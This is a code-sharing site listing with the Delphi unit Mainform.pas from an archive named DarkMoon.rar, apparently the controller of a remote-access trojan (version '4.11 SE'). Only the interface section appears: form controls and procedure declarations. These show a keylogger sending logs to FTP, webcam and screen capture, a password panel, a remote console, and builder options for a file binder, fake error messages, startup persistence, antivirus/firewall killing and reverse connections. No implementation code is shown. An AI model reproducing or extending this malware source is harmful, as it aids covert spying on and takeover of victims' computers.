Mainform.~pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:159k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit Mainform;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs,ShellAPI, te_controls, te_engine, StdCtrls, ExtCtrls,
- te_extra_Effect_Controls, Menus, te_extended, tefx_buttons, te_switcher,
- ComCtrls, te_extctrls,winsock,WSockets,strutils,
- te_dialogs, ImgList, Grids, ValEdit, jpeg,wininet, IniFiles, DM5314_UExplorer ,Registry ,DM5314_USimpleTCP , DM5314_UCommandsAndUtils,
- DM5314_Umd5,madRes, DM5314_Uftp, te_stddialogs, te_forms, WinSkinData;
- procedure SendDataMain ( COMMAND : string;PARM1 : string;PARM2 : string);
- type
- TfrmMain = class(TForm)
- TeThemeEngine: TTeThemeEngine;
- TefrmMainform: TTeForm;
- gb2: TTeGroupBox;
- gb3: TTeGroupBox;
- gb6: TTeGroupBox;
- gb9: TTeGroupBox;
- gb8: TTeGroupBox;
- gbSettingsMenu: TTeGroupBox;
- btnSettingConnections: TTeButton;
- gb8Connection: TTeGroupBox;
- memoEnglish: TTeMemo;
- btnSettingGeneral: TTeButton;
- gb8general: TTeGroupBox;
- TeLabel7: TTeLabel;
- btnChatSend: TTeButton;
- LV1: TTeListView;
- lblExplorerRemoteDir: TTeLabel;
- lblRemotePath: TTeLabel;
- lvClients: TTeListView;
- btnClientsConnect: TTeButton;
- btnClientsRefresh: TtefxButton;
- StatusBar: TTeStatusBar;
- TeThemeList: TTeThemeList;
- TePopupMenu1: TTePopupMenu;
- CustomItem1: TTeItem;
- CustomItem2: TTeItem;
- MainMsg: TTeMessage;
- ColorDialog: TTeColorDialog;
- TeGroupBox7: TTeGroupBox;
- btnExplorerDownload: TTeButton;
- btnExplorerUpload: TTeButton;
- btnExplorerDel: TTeButton;
- btnExplorerRefresh: TTeButton;
- btnExploreRename: TTeButton;
- btnExplorerMKD: TTeButton;
- btnExplorerRun: TTeButton;
- btnExplorerUP: TTeButton;
- ValueListEditor1: TValueListEditor;
- lblFTPsize: TTeLabel;
- Label3: TTeLabel;
- Label4: TTeLabel;
- lblcurrentIPConnected: TTeLabel;
- lblCurentIP: TTeLabel;
- lblConnectionsKportS: TTeLabel;
- lblConnectionsKportC: TTeLabel;
- lblConnectionUsing: TTeLabel;
- gb5: TTeGroupBox;
- gbGeneral: TTeGroupBox;
- lblGeneralServername: TTeLabel;
- lblGeneralSINPort: TTeLabel;
- lblGeneralConnectioPort: TTeLabel;
- lblGeneralPassword: TTeLabel;
- lblGeneralhelpername: TTeLabel;
- lblGeneralURLdownload: TTeLabel;
- lblGeneralEjecutefile: TTeLabel;
- gbProcessKill: TTeGroupBox;
- CheckBoxAVFW: TTeCheckBox;
- OpenDlgBinder: TOpenDialog;
- TeGroupBox19: TTeGroupBox;
- btnAVFWkillClean: TTeButton;
- lblConnected: TTeLabel;
- ckbNotification: TtefxCheckBox;
- gb7: TTeGroupBox;
- gbNotifications: TTeGroupBox;
- TeScrollBox2: TTeScrollBox;
- gbFTPNot: TTeGroupBox;
- lblFTPUser: TTeLabel;
- lblFTPDir: TTeLabel;
- lblFTPPass: TTeLabel;
- lblFTPFTP: TTeLabel;
- lblFTPPort: TTeLabel;
- gbIPNot: TTeGroupBox;
- btnReverseConnectionIP: TTeButton;
- gbEMAILnot: TTeGroupBox;
- lblSetupSMTP: TTeLabel;
- lblSetupEMAIL: TTeLabel;
- gbICQNot: TTeGroupBox;
- lblICQNotUIN: TTeLabel;
- gbBinderIcon: TTeGroupBox;
- gbBinder: TTeGroupBox;
- btnBinderAdd: TTeButton;
- gpMISC: TTeGroupBox;
- TeScrollBox3: TTeScrollBox;
- gbSetupFakeError: TTeGroupBox;
- lblFakerrorTitle: TTeLabel;
- lblFakerrorMessage: TTeLabel;
- Label79: TTeLabel;
- gbStartup: TTeGroupBox;
- gbdelay: TTeGroupBox;
- gbSetupKeylogger: TTeGroupBox;
- lblkeyloggerSendlog: TTeLabel;
- chbAvtivekeylogger: TTeCheckBox;
- RadioBDelayDate: TTeRadioButton;
- RadioBDelayDateResets: TTeRadioButton;
- Label64: TTeLabel;
- TeLabel9: TTeLabel;
- TeLabel10: TTeLabel;
- gbFTPsettings: TTeGroupBox;
- lblFTPsettingsHost: TTeLabel;
- lblFTPsettingsUser: TTeLabel;
- lblFTPsettingsPass: TTeLabel;
- gbSetupMenu: TTeGroupBox;
- btnSetupNotify: TTeButton;
- btnSetupbinderIcon: TTeButton;
- btnSetupMISC: TTeButton;
- btnSetupAVFWkill: TTeButton;
- btnSetupGeneral: TTeButton;
- lblConnectionsinverseConnection: TTeLabel;
- lblConnectionsFTPPort: TTeLabel;
- TeGroupBox13: TTeGroupBox;
- chkbShowIP: TTeCheckBox;
- ImageList1: TImageList;
- TeAdvancedLabel3: TTeAdvancedLabel;
- PopupMenu1: TPopupMenu;
- edtStartUpActivex: TTeSEdit;
- edtStartUpLM: TTeSEdit;
- edtStartUpCU: TTeSEdit;
- edtfakeerrorMessage: TTeSEdit;
- edtfakeerrorTitle: TTeSEdit;
- edtKeyloggerFTPTime: TTeSEdit;
- edtKeyloggerFTPHost: TTeSEdit;
- edtKeyloggerFTPUser: TTeSEdit;
- edtKeyloggerFTPPass: TTeSEdit;
- edtDelayDate: TTeSEdit;
- edtDelayResets: TTeSEdit;
- edtSetupServerName: TTeSEdit;
- edtSetupHelperName: TTeSEdit;
- EditSetupICPort: TTeSEdit;
- EditSetupLisenPort: TTeSEdit;
- EditSetupPass: TTeSEdit;
- edtSetupDownloadURL: TTeSEdit;
- edtSetupExecuteFile: TTeSEdit;
- Edit17: TTeSEdit;
- Edit16: TTeSEdit;
- Edit18: TTeSEdit;
- Edit19: TTeSEdit;
- Edit20: TTeSEdit;
- btnFTPtest: TTeButton;
- edtUIN: TTeSEdit;
- edtSetupIP: TTeSEdit;
- TeButton8: TTeButton;
- edtSetupEMAIL: TTeSEdit;
- edtSetupSMTP: TTeSEdit;
- edtBinderFile: TTeSEdit;
- memoChatBody: TTeMemo;
- edtNick: TTeSEdit;
- EdtChatMessage: TTeSEdit;
- edtSIN: TTeSEdit;
- edtKlistening: TTeSEdit;
- edtKport: TTeSEdit;
- edtFTPPort: TTeSEdit;
- ImageList2: TImageList;
- gbMSN: TTeGroupBox;
- Memo1: TMemo;
- TeGroupBox27: TTeGroupBox;
- lblMSNConnectionEmail: TTeLabel;
- edtMSNEmail: TTeSEdit;
- lblMSNConnectionPASS: TTeLabel;
- edtMSNPASS: TTeSEdit;
- btnMSNconnectionConnect: TTeButton;
- gbMSNNOT: TTeGroupBox;
- edtCMSNPASS: TTeSEdit;
- edtcMSNEmail: TTeSEdit;
- lblMsnNotEmail: TTeLabel;
- lblMsnNotPass: TTeLabel;
- lvMSN: TTeListView;
- gbClientSizes: TTeGroupBox;
- TrackBarheight: TTeTrackBar;
- TrackBarwidth: TTeTrackBar;
- lblSizesWidth: TTeLabel;
- lblSizesHeight: TTeLabel;
- memoSpanish: TTeMemo;
- Label1: TLabel;
- gbIcon: TTeGroupBox;
- Bevel1: TBevel;
- imgionicon: TImage;
- btnIconAdd: TTeButton;
- edtIcon: TTeSEdit;
- TeScrollBox4: TTeScrollBox;
- imgIcon2: TImage;
- imgIcon3: TImage;
- imgIcon4: TImage;
- imgIcon1: TImage;
- imgIcon9: TImage;
- imgIcon5: TImage;
- imgIcon7: TImage;
- imgIcon6: TImage;
- imgIcon8: TImage;
- imgIcon10: TImage;
- imgIcon11: TImage;
- TeGroupBox3: TTeGroupBox;
- btnSetupSave: TTeButton;
- btnSetupOpen: TTeButton;
- TeGroupBox4: TTeGroupBox;
- TeButton5: TTeButton;
- TeButton13: TTeButton;
- ProgressBarExplorer: TTeProgressBar;
- lblLocalIP: TTeLabel;
- TeGroupBox5: TTeGroupBox;
- TeGroupBox6: TTeGroupBox;
- TeGroupBox9: TTeGroupBox;
- TeButton14: TTeButton;
- TeButton15: TTeButton;
- TeButton16: TTeButton;
- TeButton17: TTeButton;
- TeButton18: TTeButton;
- TeButton19: TTeButton;
- TeButton20: TTeButton;
- TeButton21: TTeButton;
- TeButton22: TTeButton;
- Label6: TLabel;
- TeButton23: TTeButton;
- TeButton24: TTeButton;
- TeButton25: TTeButton;
- TeButton26: TTeButton;
- TeButton27: TTeButton;
- TeButton28: TTeButton;
- TeButton29: TTeButton;
- TeButton32: TTeButton;
- edtWorkingIP: TTeSEdit;
- chBoxWorkingIP: TTeCheckBox;
- btnWorkingIP: TTeButton;
- RadioButtonExtention2: TTeRadioButton;
- RadioButtonExtention1: TTeRadioButton;
- RadioButtonExtention3: TTeRadioButton;
- RadioButtonExtention4: TTeRadioButton;
- chBoxDisableXPFirewall: TtefxCheckBox;
- OpenDialog2: TOpenDialog;
- OpenDialog1: TOpenDialog;
- openDfile: TTeOpenDialog;
- TeGroupBox15: TTeGroupBox;
- lblHost: TTeLabel;
- cbMainIP: TTeComboBox;
- btnMainConnect: TTeButton;
- memoMain: TMemo;
- TeLabel2: TTeLabel;
- chBoxIC: TtefxCheckBox;
- TeButton30: TTeButton;
- TeButton33: TTeButton;
- TeButton34: TTeButton;
- TeButton35: TTeButton;
- TeButton36: TTeButton;
- chboxMSN: TtefxCheckBox;
- TeButton31: TTeButton;
- TeScrollBox5: TTeScrollBox;
- TeHeaderPanel1: TTeHeaderPanel;
- TeHeaderPanel2: TTeHeaderPanel;
- TeHeaderPanel3: TTeHeaderPanel;
- TeHeaderPanel4: TTeHeaderPanel;
- TeHeaderPanel5: TTeHeaderPanel;
- TeHeaderPanel6: TTeHeaderPanel;
- TeHeaderPanel7: TTeHeaderPanel;
- TeHeaderPanel9: TTeHeaderPanel;
- TeHeaderPanel8: TTeHeaderPanel;
- Label8: TLabel;
- Label9: TLabel;
- TeButton3: TTeButton;
- gbSkinManager: TTeGroupBox;
- TeThemeSwitcher: TTeThemeSwitcher;
- gbChangehue: TTeGroupBox;
- trackbarHUE: TTeTrackBar;
- gbchangeBrightness: TTeGroupBox;
- trackbarBrightness: TTeTrackBar;
- RadioButtonExtention0: TtefxRadioButton;
- gbINF: TTeGroupBox;
- memoInf: TTeMemo;
- gbPasswords: TTeGroupBox;
- memoPasswords: TTeMemo;
- gbRegEdit: TTeGroupBox;
- lblCurrentReg: TLabel;
- TVReg: TTeTreeView;
- TeButton7: TTeButton;
- TeButton9: TTeButton;
- TeButton10: TTeButton;
- LVReg: TTeListView;
- TeButton11: TTeButton;
- gbSpyKeylogger: TTeGroupBox;
- gbKeyloggerSendKeys: TTeGroupBox;
- Memo2: TTeMemo;
- gbKeyloggerGetkeys: TTeGroupBox;
- memoGetkeys: TTeMemo;
- gbConsole: TTeGroupBox;
- lblSpyExample: TTeLabel;
- memoConsole: TTeMemo;
- edtConsole: TTeSEdit;
- gbWindows: TTeGroupBox;
- lv3: TTeListView;
- TeGroupBox11: TTeGroupBox;
- btnSpyWindowsClose: TTeButton;
- btnSpyWindowsHide: TTeButton;
- btnSpyWindowsshow: TTeButton;
- btnSpyWindowsRefresh: TTeButton;
- gbSpyProcesses: TTeGroupBox;
- lvProcesses: TTeListView;
- TeGroupBox12: TTeGroupBox;
- btnSpyProcessesKill: TTeButton;
- btnSpyProcessesRefresh: TTeButton;
- gbSpyWebcam: TTeGroupBox;
- TeTrackBar1: TTeTrackBar;
- btnSpyWebcamCap: TTeButton;
- TeGroupBox17: TTeGroupBox;
- imgWebcam: TImage;
- edtWebcamquality: TTeSEdit;
- gbSpyScreenshot: TTeGroupBox;
- btnSpyScreenshotCap: TTeButton;
- TeTrackBar2: TTeTrackBar;
- TeGroupBox18: TTeGroupBox;
- imgScreenshot: TImage;
- ProgressBarDesk: TTeProgressBar;
- edtScreenshotQuality: TTeSEdit;
- gbMSGs: TTeGroupBox;
- TeGroupBox1: TTeGroupBox;
- TeSpeedButton1: TTeSpeedButton;
- TeSpeedButton2: TTeSpeedButton;
- TeSpeedButton3: TTeSpeedButton;
- TeSpeedButton4: TTeSpeedButton;
- TeGroupBox2: TTeGroupBox;
- edtSPYMSGSMessage: TTeSEdit;
- btnMGSsSend: TTeButton;
- TeButton48: TTeButton;
- btnKeyloggerSave: TTeButton;
- TeButton51: TTeButton;
- btnKeyloggerFullScreen: TTeButton;
- btnScreenshotSave: TTeButton;
- gbAdmin: TTeGroupBox;
- TeScrollBox1: TTeScrollBox;
- btnMainAdmin4: TTeButton;
- btnMainAdmin8: TTeButton;
- btnMainAdmin3: TTeButton;
- btnMainAdmin5: TTeButton;
- btnMainAdmin1: TTeButton;
- btnMainAdmin27: TTeButton;
- btnMainAdmin2: TTeButton;
- btnMainAdmin15: TTeButton;
- btnMainAdmin22: TTeButton;
- btnMainAdmin46: TTeButton;
- btnMainAdmin10: TTeButton;
- btnMainAdmin21: TTeButton;
- btnMainAdmin9: TTeButton;
- btnMainAdmin17: TTeButton;
- btnMainAdmin23: TTeButton;
- btnAdminResetServer: TTeButton;
- gbFun: TTeGroupBox;
- btnMainFun0: TTeButton;
- btnMainFun24: TTeButton;
- btnMainFun14: TTeButton;
- btnMainFun13: TTeButton;
- btnMainFun19: TTeButton;
- btnMainFun16: TTeButton;
- btnMainFun11: TTeButton;
- btnMainFun6: TTeButton;
- btnMainFun18: TTeButton;
- btnMainFun20: TTeButton;
- btnMainFun12: TTeButton;
- btnMainFun28: TTeButton;
- edtMainPort: TTeSEdit;
- TeButton54: TTeButton;
- SaveDLog: TTeSaveDialog;
- SaveDPic: TTeSaveDialog;
- tefxButton1: TtefxButton;
- gbSearch: TTeGroupBox;
- edtSearchPath: TTeSEdit;
- edtSearchMask: TTeSEdit;
- btnSearchFind: TTeButton;
- lvSearch: TTeListView;
- TeButton56: TTeButton;
- gbServices: TTeGroupBox;
- TeButton57: TTeButton;
- TeButton58: TTeButton;
- TeButton59: TTeButton;
- OpenDDM: TTeOpenDialog;
- SaveDDM: TTeSaveDialog;
- chBoxMSNConnection: TTeCheckBox;
- ProgressBarCam: TTeProgressBar;
- TeButton60: TTeButton;
- TeButton61: TTeButton;
- TimerRDC: TTimer;
- btnRDCTime: TTeButton;
- edtRDCtime: TTeSEdit;
- lblKeyloggerSeconds: TLabel;
- lvServices: TTeListView;
- gbOnlineEditor: TTeGroupBox;
- edtOEVER: TTeSEdit;
- edtOEPASS: TTeSEdit;
- Label10: TLabel;
- Label11: TLabel;
- TeButton65: TTeButton;
- gbWebServer: TTeGroupBox;
- btnWebserverStart: TTeButton;
- TeSEdit1: TTeSEdit;
- TeLabel1: TTeLabel;
- TeLabel3: TTeLabel;
- TeSEdit2: TTeSEdit;
- TeLabel4: TTeLabel;
- TeSEdit3: TTeSEdit;
- TeButton55: TTeButton;
- gbShutDown: TTeGroupBox;
- TeButton62: TTeButton;
- TeButton66: TTeButton;
- TeButton67: TTeButton;
- TeButton68: TTeButton;
- TeButton69: TTeButton;
- TeButton70: TTeButton;
- chBoxDisappear: TTeCheckBox;
- TeButton71: TTeButton;
- TeGroupBox8: TTeGroupBox;
- edtFWB: TTeSEdit;
- Label2: TLabel;
- btnStartRDC: TTeButton;
- chBoxUPX: TTeCheckBox;
- Image1: TImage;
- TeScrollBox6: TTeScrollBox;
- Label5: TLabel;
- Label12: TLabel;
- Label13: TLabel;
- Label14: TLabel;
- Label15: TLabel;
- Label16: TLabel;
- Label17: TLabel;
- Label18: TLabel;
- Label19: TLabel;
- Label20: TLabel;
- Label21: TLabel;
- Label22: TLabel;
- Label23: TLabel;
- Label24: TLabel;
- TeButton4: TtefxButton;
- Label25: TLabel;
- Label26: TLabel;
- edtSetIP: TTeSEdit;
- Label27: TLabel;
- TeButton2: TTeButton;
- RadioBStartUPActivex: TTeCheckBox;
- RadioBStartUPCU: TTeCheckBox;
- RadioBStartUPLM: TTeCheckBox;
- SkinData1: TSkinData;
- OpenDialog3: TOpenDialog;
- cbLanguage: TTeComboBox;
- TeButton37: TTeButton;
- TeButton38: TTeButton;
- btnSpyKeylogger: TTeButton;
- btnSpyProcesses: TtefxButton;
- btnSpyScreenshot: TTeButton;
- btnSpywebcam: TTeButton;
- btnSpyWindows: TTeButton;
- btnSpyConsole: TTeButton;
- TeButton6: TTeButton;
- TeButton1: TTeButton;
- TeButton12: TTeButton;
- btnSpyRegedit: TTeButton;
- TeButton41: TTeButton;
- TeButton39: TTeButton;
- TeButton42: TTeButton;
- TeButton422: TTeButton;
- TeButton43: TTeButton;
- TeButton40: TTeButton;
- TeButton44: TTeButton;
- TeButton45: TTeButton;
- TeButton46: TTeButton;
- TeButton47: TTeButton;
- TeButton49: TTeButton;
- procedure TebtnMainExplorerClick(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- procedure btnSettingGeneralClick(Sender: TObject);
- procedure CustomItem2Click(Sender: TObject);
- procedure btnMainFun0Click(Sender: TObject);
- procedure btnMainAdmin1Click(Sender: TObject);
- procedure btnMainFun24Click(Sender: TObject);
- procedure btnMainFun14Click(Sender: TObject);
- procedure btnMainFun13Click(Sender: TObject);
- procedure btnMainFun19Click(Sender: TObject);
- procedure btnMainFun16Click(Sender: TObject);
- procedure btnMainFun11Click(Sender: TObject);
- procedure btnMainFun6Click(Sender: TObject);
- procedure btnMainFun12Click(Sender: TObject);
- procedure btnMainAdmin17Click(Sender: TObject);
- procedure btnMainAdmin9Click(Sender: TObject);
- procedure btnMainAdmin4Click(Sender: TObject);
- procedure btnMainAdmin8Click(Sender: TObject);
- procedure btnMainAdmin3Click(Sender: TObject);
- procedure btnMainAdmin5Click(Sender: TObject);
- procedure btnMainAdmin2Click(Sender: TObject);
- procedure btnMainAdmin46Click(Sender: TObject);
- procedure btnMainAdmin27Click(Sender: TObject);
- procedure btnMainAdmin15Click(Sender: TObject);
- procedure btnMainFun18Click(Sender: TObject);
- procedure btnMainFun20Click(Sender: TObject);
- procedure btnMainFun28Click(Sender: TObject);
- procedure btnMainAdmin22Click(Sender: TObject);
- procedure btnMainAdmin23Click(Sender: TObject);
- procedure memoMainChange(Sender: TObject);
- procedure btnMainAdmin10Click(Sender: TObject);
- procedure btnChatSendClick(Sender: TObject);
- procedure EdtChatMessageKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure btnSpyProcessesClick(Sender: TObject);
- procedure btnClientsRefreshClick(Sender: TObject);
- procedure btnClientsConnectClick(Sender: TObject);
- procedure LV1DblClick(Sender: TObject);
- procedure btnExplorerDownloadClick(Sender: TObject);
- procedure btnExplorerUploadClick(Sender: TObject);
- procedure btnExplorerDelClick(Sender: TObject);
- procedure btnExplorerRefreshClick(Sender: TObject);
- procedure btnExploreRenameClick(Sender: TObject);
- procedure btnExplorerMKDClick(Sender: TObject);
- procedure btnExplorerRunClick(Sender: TObject);
- procedure btnExplorerUPClick(Sender: TObject);
- procedure btnSpyKeyloggerClick(Sender: TObject);
- procedure btnSpyScreenshotClick(Sender: TObject);
- procedure btnSpywebcamClick(Sender: TObject);
- procedure memoGetkeysChange(Sender: TObject);
- procedure Memo2KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure memoGetkeysDblClick(Sender: TObject);
- procedure btnSpyScreenshotCapClick(Sender: TObject);
- procedure TeTrackBar2Change(Sender: TObject);
- procedure btnIconAddClick(Sender: TObject);
- procedure btnSetupOpenClick(Sender: TObject);
- procedure btnSetupSaveClick(Sender: TObject);
- procedure btnBinderAddClick(Sender: TObject);
- procedure btnReverseConnectionIPClick(Sender: TObject);
- procedure btnSetupNotifyClick(Sender: TObject);
- procedure btnSetupbinderIconClick(Sender: TObject);
- procedure btnSetupMISCClick(Sender: TObject);
- procedure btnSetupAVFWkillClick(Sender: TObject);
- procedure btnSetupGeneralClick(Sender: TObject);
- procedure btnSpyConsoleClick(Sender: TObject);
- procedure btnSpyWindowsClick(Sender: TObject);
- procedure btnSpyWindowsCloseClick(Sender: TObject);
- procedure btnSpyWindowsHideClick(Sender: TObject);
- procedure btnSpyWindowsshowClick(Sender: TObject);
- procedure btnSpyWindowsRefreshClick(Sender: TObject);
- procedure edtConsoleKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure TeTrackBar1Change(Sender: TObject);
- procedure btnSettingConnectionsClick(Sender: TObject);
- procedure chkbShowIPClick(Sender: TObject);
- procedure imgScreenshotDblClick(Sender: TObject);
- procedure btnAVFWkillCleanClick(Sender: TObject);
- procedure btnSpyProcessesRefreshClick(Sender: TObject);
- procedure btnSpyProcessesKillClick(Sender: TObject);
- procedure btnSpyRegeditClick(Sender: TObject);
- procedure btnMSNconnectionConnectClick(Sender: TObject);
- procedure lvMSNDblClick(Sender: TObject);
- procedure TrackBarwidthChange(Sender: TObject);
- procedure TrackBarheightChange(Sender: TObject);
- procedure btnMGSsSendClick(Sender: TObject);
- procedure TeSpeedButton1Click(Sender: TObject);
- procedure TeSpeedButton2Click(Sender: TObject);
- procedure TeSpeedButton3Click(Sender: TObject);
- procedure TeSpeedButton4Click(Sender: TObject);
- procedure TeButton1Click(Sender: TObject);
- procedure imgIcon1Click(Sender: TObject);
- procedure imgIcon2Click(Sender: TObject);
- procedure imgIcon3Click(Sender: TObject);
- procedure imgIcon8Click(Sender: TObject);
- procedure imgIcon9Click(Sender: TObject);
- procedure imgIcon6Click(Sender: TObject);
- procedure imgIcon4Click(Sender: TObject);
- procedure imgIcon7Click(Sender: TObject);
- procedure imgIcon10Click(Sender: TObject);
- procedure imgIcon11Click(Sender: TObject);
- procedure imgIcon5Click(Sender: TObject);
- procedure edtIconDblClick(Sender: TObject);
- procedure edtBinderFileDblClick(Sender: TObject);
- procedure btnAdminResetServerClick(Sender: TObject);
- procedure memoMainDblClick(Sender: TObject);
- procedure memoFTPDblClick(Sender: TObject);
- procedure TeButton3Click(Sender: TObject);
- procedure TeButton8Click(Sender: TObject);
- procedure btnFTPtestClick(Sender: TObject);
- procedure memoConsoleDblClick(Sender: TObject);
- procedure TeButton5Click(Sender: TObject);
- procedure LV1KeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure Image3Click(Sender: TObject);
- procedure Image2Click(Sender: TObject);
- procedure Image1Click(Sender: TObject);
- procedure Image4Click(Sender: TObject);
- procedure TeButton6Click(Sender: TObject);
- procedure TVRegDblClick(Sender: TObject);
- procedure TeButton12Click(Sender: TObject);
- procedure btnSpyWebcamCapClick(Sender: TObject);
- procedure TeButton13Click(Sender: TObject);
- procedure TeButton31Click(Sender: TObject);
- procedure TeButton14Click(Sender: TObject);
- procedure TeButton18Click(Sender: TObject);
- procedure TeButton15Click(Sender: TObject);
- procedure TeButton16Click(Sender: TObject);
- procedure TeButton17Click(Sender: TObject);
- procedure TeButton19Click(Sender: TObject);
- procedure TeButton20Click(Sender: TObject);
- procedure TeButton21Click(Sender: TObject);
- procedure TeButton22Click(Sender: TObject);
- procedure TeButton32Click(Sender: TObject);
- procedure TeButton23Click(Sender: TObject);
- procedure TeButton24Click(Sender: TObject);
- procedure TeButton25Click(Sender: TObject);
- procedure TeButton26Click(Sender: TObject);
- procedure TeButton27Click(Sender: TObject);
- procedure TeButton28Click(Sender: TObject);
- procedure TeButton29Click(Sender: TObject);
- procedure chBoxWorkingIPClick(Sender: TObject);
- procedure btnWorkingIPClick(Sender: TObject);
- procedure CustomItem1Click(Sender: TObject);
- procedure btnMainConnectClick(Sender: TObject);
- procedure lvClientsDblClick(Sender: TObject);
- procedure Timer1Timer(Sender: TObject);
- procedure FormDblClick(Sender: TObject);
- procedure TeButton49Click(Sender: TObject);
- procedure TeButton39Click(Sender: TObject);
- procedure TeButton41Click(Sender: TObject);
- procedure TeButton422Click(Sender: TObject);
- procedure TeButton42Click(Sender: TObject);
- procedure TeButton37Click(Sender: TObject);
- procedure TeButton43Click(Sender: TObject);
- procedure TeButton38Click(Sender: TObject);
- procedure TeButton40Click(Sender: TObject);
- procedure TeButton34Click(Sender: TObject);
- procedure chboxMSNClick(Sender: TObject);
- procedure chBoxICClick(Sender: TObject);
- procedure Label7Click(Sender: TObject);
- procedure TeButton35Click(Sender: TObject);
- procedure cbLanguageChange(Sender: TObject);
- procedure trackbarHUEChange(Sender: TObject);
- procedure trackbarBrightnessChange(Sender: TObject);
- procedure TeButton33Click(Sender: TObject);
- procedure TeButton30Click(Sender: TObject);
- procedure TeButton36Click(Sender: TObject);
- procedure TeButton44Click(Sender: TObject);
- procedure TeButton46Click(Sender: TObject);
- procedure TeButton47Click(Sender: TObject);
- procedure TeButton45Click(Sender: TObject);
- procedure TeButton54Click(Sender: TObject);
- procedure btnScreenshotSaveClick(Sender: TObject);
- procedure btnKeyloggerFullScreenClick(Sender: TObject);
- procedure TeButton48Click(Sender: TObject);
- procedure TeButton51Click(Sender: TObject);
- procedure btnKeyloggerSaveClick(Sender: TObject);
- procedure tefxButton1Click(Sender: TObject);
- procedure FormClose(Sender: TObject; var Action: TCloseAction);
- procedure TeButton60Click(Sender: TObject);
- procedure TeButton61Click(Sender: TObject);
- procedure btnStartRDCClick(Sender: TObject);
- procedure TimerRDCTimer(Sender: TObject);
- procedure btnRDCTimeClick(Sender: TObject);
- procedure TeButton57Click(Sender: TObject);
- procedure TeButton58Click(Sender: TObject);
- procedure TeButton59Click(Sender: TObject);
- procedure TeButton65Click(Sender: TObject);
- procedure btnSearchFindClick(Sender: TObject);
- procedure TeButton56Click(Sender: TObject);
- procedure TeButton62Click(Sender: TObject);
- procedure TeButton67Click(Sender: TObject);
- procedure TeButton68Click(Sender: TObject);
- procedure TeButton69Click(Sender: TObject);
- procedure TeButton70Click(Sender: TObject);
- procedure TeButton66Click(Sender: TObject);
- procedure TeButton71Click(Sender: TObject);
- procedure TeButton7Click(Sender: TObject);
- procedure TeButton10Click(Sender: TObject);
- procedure TeButton9Click(Sender: TObject);
- procedure LVRegDblClick(Sender: TObject);
- procedure TeButton11Click(Sender: TObject);
- procedure TeThemeSwitcherChangeTheme(Sender: TObject);
- procedure tefxButton2Click(Sender: TObject);
- procedure TeButton2Click(Sender: TObject);
- private
- MSNClient : TTCPClient;
- SBClient : TTCPClient;
- FtpClient:TSimpleTCPClient;
- Client:TSimpleTCPClient;
- Server:TSimpleTCPServer;
- procedure MSNClientError(Sender: TObject; Error: integer; Msg: string);
- procedure MSNClientConnect(Sender: TObject; Socket: TSocket);
- procedure MSNClientData(Sender: TObject; Socket: TSocket);
- procedure MSNClientClose(Sender: TObject; Socket: TSocket);
- procedure SBClientError(Sender: TObject; Error: integer; Msg: string);
- procedure SBClientConnect(Sender: TObject; Socket: TSocket);
- procedure SBClientData(Sender: TObject; Socket: TSocket);
- procedure SBClientClose(Sender: TObject; Socket: TSocket);
- procedure FtpClientConnected(Sender: TObject);
- procedure FtpClientDisconnected(Sender: TObject);
- procedure FtpClientRead(Sender: TObject; Stream: TStream);
- procedure FtpClientError(Sender: TObject; Socket,
- ErrorCode: Integer; ErrorMsg: String);
- procedure ClientConnected(Sender: TObject);
- procedure ClientDisconnected(Sender: TObject);
- procedure ClientRead(Sender: TObject; Stream: TStream);
- procedure ClientError(Sender: TObject; Socket,
- ErrorCode: Integer; ErrorMsg: String);
- procedure ServerError(Sender: TObject; Socket, ErrorCode: Integer;
- ErrorMsg: String);
- procedure ServerAccept(Sender: TObject; Client: TSimpleTCPClient;
- var Accept: Boolean);
- procedure ServerClientConnected(Sender: TObject;
- Client: TSimpleTCPClient);
- procedure ServerClientDisconnected(Sender: TObject;
- Client: TSimpleTCPClient);
- procedure ServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
- Stream: TStream);
- { Private declarations }
- public
- { Public declarations }
- KServer:TSimpleTCPServer;
- KClient:TSimpleTCPClient;
- procedure KClientConnected(Sender: TObject);
- procedure KClientDisconnected(Sender: TObject);
- procedure KClientRead(Sender: TObject; Stream: TStream);
- procedure KClientError(Sender: TObject; Socket,
- ErrorCode: Integer; ErrorMsg: String);
- procedure KServerError(Sender: TObject; Socket, ErrorCode: Integer;
- ErrorMsg: String);
- procedure KServerAccept(Sender: TObject; Client: TSimpleTCPClient;
- var Accept: Boolean);
- procedure KServerClientConnected(Sender: TObject;
- Client: TSimpleTCPClient);
- procedure KServerClientDisconnected(Sender: TObject;
- Client: TSimpleTCPClient);
- procedure KServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
- Stream: TStream);
- procedure WndProc(Var TheMsg: TMessage);
- function TracePath(Node : TTreeNode):string;
- procedure hideforms;
- PROCEDURE LoadLanguage(name: string);
- end;
- const
- WM_MSN = $0400 + 60;
- WM_SB = $0400 + 70;
- DMVersion = '4.11 SE' ;
- var
- frmMain: TfrmMain;
- MainParm1, MainParm2, MainParm3 : string;
- SINConnected : integer;
- blah : HICON;
- TrayIcon : TNotifyIconData;
- USER, PASS,FTP,PORT,DIR,FileDarkMoon,BinderFile,SetupIP,SetupSMTP ,SetupEMAIL: string ;
- fakeerrorTitle, fakeerrorMessage : string;
- fakeerrorIcon, fakeerrorStyle : integer;
- currentClient : integer;
- wVersionRequested : WORD ;
- inn : IN_ADDR ;
- nErrorStatus : integer;
- wsa_Data : WSADATA;
- SocketMSN : TSocket;
- socketSB : TSocket;
- MSNaddr : SOCKADDR_IN; // Internet address
- MSNaddrserver : SOCKADDR_IN; // Internet address
- SBaddr : SOCKADDR_IN; // Internet address
- SBaddrserver : SOCKADDR_IN; // Internet address
- buf:ansistring;
- con1:boolean;
- loginhost: string = '';
- Step : integer;
- MSN_COUNTID : integer;
- SB_AUTH1 : string;
- SB_AUTH2 : string;
- MSN_Client : boolean;
- MSN_EMAIL : string;
- MSN_PASS : string ;
- MSN_Active : string;
- id : cardinal;
- act : integer;
- MSN_TIP : String;
- MSN_TPORT : String ;
- LanguageID : integer;
